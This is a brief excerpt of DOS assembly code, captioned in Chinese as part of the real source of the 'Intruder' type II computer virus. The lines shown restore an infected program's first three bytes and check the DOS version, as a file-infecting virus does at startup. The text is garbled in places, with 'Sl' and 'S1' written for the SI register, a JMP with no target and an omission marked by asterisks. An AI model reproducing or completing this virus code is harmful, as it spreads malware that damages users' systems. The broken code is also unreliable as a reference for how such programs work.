CODE SEGMENT
ASSUME DS:CODE,SS:CODE,ES:CODE
ORG $+0100H
VCODE:JMP
***
virus:PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV Sl,DX
ADD S1,first_3
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
mov ah,30h
int 21h
cmp al,0
JnZ dos_ok
JMP quit
——“侵犯者”二型病毒源代码的部分真实内容